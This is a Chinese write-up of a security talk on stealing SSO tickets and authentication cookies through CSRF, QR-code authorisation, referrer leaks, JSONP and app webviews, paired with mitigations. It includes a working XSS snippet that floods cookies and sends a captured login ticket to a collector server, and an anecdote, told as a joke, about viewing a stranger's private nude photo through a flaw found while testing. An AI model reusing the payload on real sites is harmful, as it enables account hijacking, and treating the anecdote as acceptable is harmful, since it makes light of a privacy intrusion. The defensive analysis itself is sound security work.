这篇是我前几个月在CSDN开发者大会上讲的账号通行证安全相关的PPT 《我的通行你的证》 的文字整理版,稍微补充了点内容。因为懒一直没时间写,但年关将至,想到可以为老家的孩子们多挣点压岁钱……
几个月前,我在测百度的一个账号体系的漏洞时,无意中进入了慈云寺桥一甜品店的女收银员的百度网盘,当时随便看了两眼,突然发现了她的一张裸照,吓的我赶紧关了页面。当时我就想,如果她是我最好的朋友的女朋友,她的裸照被坏人利用漏洞攻击而泄露了,那该多不好呀
换位思考后,我闭着眼,对着裸照暗暗发誓,保护女网友,人人有责
此文比较长,建议各位让女朋友不用再等了,让她穿上裤子先睡
目前各大互联网公司的网站大多使用cookie来实现对用户的认证。如果攻击者拿到了这个认证cookie,就可以登录了用户的账号了
Httponly:防止cookie被xss偷
https:防止cookie在网络中被偷
Secure:阻止cookie在非https下传输,很多全站https时会漏掉
Path :区分cookie的标识,安全上作用不大,和浏览器同源冲突
Httponly:防止cookie被xss偷 xss攻击可以获得用户的cookie。但如果cookie加上了httponly属性,js就无法读取,可以保护我们的cookie不在xss攻击中被偷走 但很多安全从业人员觉得cookie加上httponly了,xss就不算什么漏洞了。这当然是无厘头的,xss是标准的html/js代码注入漏洞,它不仅仅只是可以偷cookie,还可以做很多,下面会有很多例子…
https:防止cookie在网络中被偷 目前主流网站的认证cookie在互联网中都是无保护进行传输的,可能会在网络中被嗅探或其他方式泄露。所以建议安全级别高的网站使用全站https,并且不支持http的访问,而且还要使用HSTS,强制把http的请求转成https请求
Secure:阻止cookie在非https下传输,很多全站https时会漏掉 即使有时候你做了全站https,但你的cookie没有加上Secure属性的话。网络中间人可以在第三方页面中强制你使用http访问做了全站https的domain,此时你的cookie同样会在不安全网络中传输。如果加了secure属性,则此cookie只在https的请求中传输
Path :区分cookie的标识,安全上作用不大,和浏览器同源冲突 cookie还有一个path属性,这是一个区分cookie的标识,安全上作用不大,和浏览器同源策略冲突。因为,路径A下的xss虽然读不到路径B下的cookie,但路径A下的xss完全可以注入代码进入路径B的页面,然后再去读路径B下的cookie
用户扫描二维码后,系统需提示用户检验二维码的行为。若无确认,用户扫描攻击者的登录二维码后,相当于给攻击者的票授权
案例: 可以欺骗劫持进入来往用户的帐号 WooYun: 可以欺骗劫持进入来往用户的帐号
给票据授权的请求如果是http的,并且可以被攻击者伪造。攻击者可以伪造请求让用户扫描二维码后执行,或让用户以其他形式对攻击者的票据进行授权
一些二维码的授权请求按理说应该只在app端有效,但大多案例中,此请求在web站登陆状态下也是有效,增大了攻击面
案例:
微博上点开我发的链接我就可登进你的淘宝支付宝和微博 WooYun: 微博上点开我发的链接我就可登进你的淘宝支付宝和微博可盗号可挂马(poc中附若干从洞)
聊着聊着我就上了你……的微信 WooYun: 聊着聊着我就上了你……的微信(两处都可以劫持微信登录的漏洞)
绑定请求未做csrf防护,攻击者可以构造恶意请求让用户绑定了攻击者的账号。这样攻击者登录他自己的账号后就可以操作用户的资源
案例: 网易某处点开我的链接就会被盗号 by子非海绵宝宝
另外绑定了越多第三方的账号,会让你的安全级别降低,因为你的所有账号同时不出事的可能性降低了
通用的防CSRF的解决方案,referrer+token
当我在谈csrf或jsonp劫持的时候,曾遇到无数人告诉我referrer可以伪造。我只能说目前我还不知道在浏览器端伪造referrer的方法。如果你可以自己写个程序伪造referrer,那咱俩聊的不是一个事
案例:
点我的链接我就可能会进入你的果壳账号关于oauth的更多安全总结,可以参考文章
OAuth 2.0安全案例回顾认证cookie本应该只出现在http请求中,并且在浏览器端的存储中加了httponly属性,是不会被xss攻击盗取的。但某些功能架构中,认证cookie的不规范传输和使用可能会导致认证cookie泄露
案例:
通过一糯米XSS可绕chrome并可用两种方式拿到httponly的BDUSS(大部分非IE用户点击后百度云盘资料会被泄露)
微博上你点我的链接我就可xss你并可拿到httponly的cookie及其他危害
需求:如果用户已经登陆B站,则自动登陆A站实现:用户访问A站,A站把用户跳转到B站,B站验证用户已登陆,给用户一张票,用户拿着票去找A站,A拿着票去B那,验证成功后放用户进去
下文中将大量出现如下示例站点
A: http://www.t99y.com
B:`http://passport.wangzhan.com
举例:用户访问 http://passport.wangzhan.com/login.php?url=http://www.t99y.com/a.php
B站检验A站是白名单域后,然后302跳转到
http://www.t99y.com/a.php?ticket=******
然后a.php用ticket参数去B站验证用户合法后,再给用户种认证cookie
偷认证信息的大概流程如下,后面会细讲。总之攻击的目的就是,拿到用户的ticket信息
互联网上常见的几个单点登陆场景,通行证或第三方站给的登陆凭的证使用的方式各有不同,分别该怎么偷
http://t99y.com/a.php?ticket=XXXXXXXXXXXXXXXX
服务端使用此ticket去sso验证此用户身份,然后在本域种认证cookie
偷的思路:
让我们构造的页面获取到凭证后请求我们控制的服务器上的资源,这样referrer里就有ticket信息了
偷的几种方式
示意图如下,如下是我画的一个chrome浏览器,地址栏里ticket参数会被包含到下面的一些元素的请求的referrer中
参考案例: WooYun: 微博上你点我发的链接我就可以登上你的微博(web版和app端均可两个漏洞一并提交)
http://t99y.com/login.php?ticket=XXXXXXXXXXXXXXXX&url=http://t99y.com/a.php
此时会种上认证cookie
然后页面会使用js跳转到 http://t99y.com/a.php
location.href=“http://t99y.com/a.php”;
例子:某绑定了微博账号后可以自动登陆的网站
偷的几种方式
如下的多个302跳转
http://passport.wangzhan.com/login.php?url=http://www.t99y.com/a.php
http://t99y.com/login.php?ticket=XXXXXXXXXXXXXXXX&url=http://t99y.com/a.php
http://t99y.com/a.php
偷的方式
Xss创建iframe,种超长cookie,让含ticket的302拒绝服务,然后使用iframe.contentWindow.location.href读取最后的iframe的当前地址
拒绝服务还有个好处,防止某些ticket有防重放的防护
#!js for (i = 0; i < 20; i++) { document.cookie = i + '=' + repeatt('X', 2000) + ';path=/auth'; } var iframe =document.createElement('iframe'); iframe.src="http://bobo.163.com/checkAuth?url=http://www.bobo.com/&"; iframe.addEventListener('load', function(){ var ntes = iframe.contentWindow.location.href; var img1 =document.createElement('img'); img1.src = "http://127.0.0.1/163img.php?r="+encodeURIComponent(ntes); for (i = 0; i < 20; i++) { document.cookie = i + '=' + repeatt('X', 1) + ';path=/auth'; } }, false); document.body.appendChild(iframe);
案例: 网易用户登陆状态下点我的链接我就可进入其邮箱、云笔记等服务
如上方法不适用于IE的一些版本,因为IE在打不开页面的时候加载的是自己本地的页面,导致错误页和我们的xss页面不同源
由认证中心来跨域为子站设置认证cookie
单点自动登陆需要防护csrf,让用户不能伪造登陆请求
当我们在一个app内打开其公司产品的一些链接,会被加上认证信息去让用户自动登陆
微博客户端、QQ客户端、微信客户端都曾有或现在正有此问题,一般会加上参数sid、gsid、key
偷的几种方式
见单点登录场景一的几种方式 用户甚至会通过app的分享功能把认证信息分享到邮件或朋友圈
不要直接把认证凭证添加到webview的URL来完成认证
使用COOKIE,POST都可以
跨域从通行证获取登陆ticket
形式为类似 http://www.wangzhan.com/sso/getst.php?callback=jsonp
然后通行证会返回个jsonp格式的数据,里面包含认证信息
案例: 微博上你点我发的链接我就可以登上你的微博
偷的几种方式
架构上就不该使用此种方案
app和web的接口不要混用,要保证接口的干净单一。我遇到过一些案例,web和app为了互相兼容,而降低了本身的安全策略,或使用了不合理的架构
如上都是漏洞信息,但有时候还有些架构上的小问题可能会导致出现漏洞,或者让攻击者的漏洞利用更方便
常见的sso的一些安全风险如下:
案例: 你windows上开着QQ点了我的链接我就进了你的qq邮箱财付通等(任意腾讯xss拿qq的clientkey)
这个案例里除了xss漏洞,有两个安全设计上的问题,就是上面提到的:
网络是我家,安全靠大家。保护女网友,帮她加把锁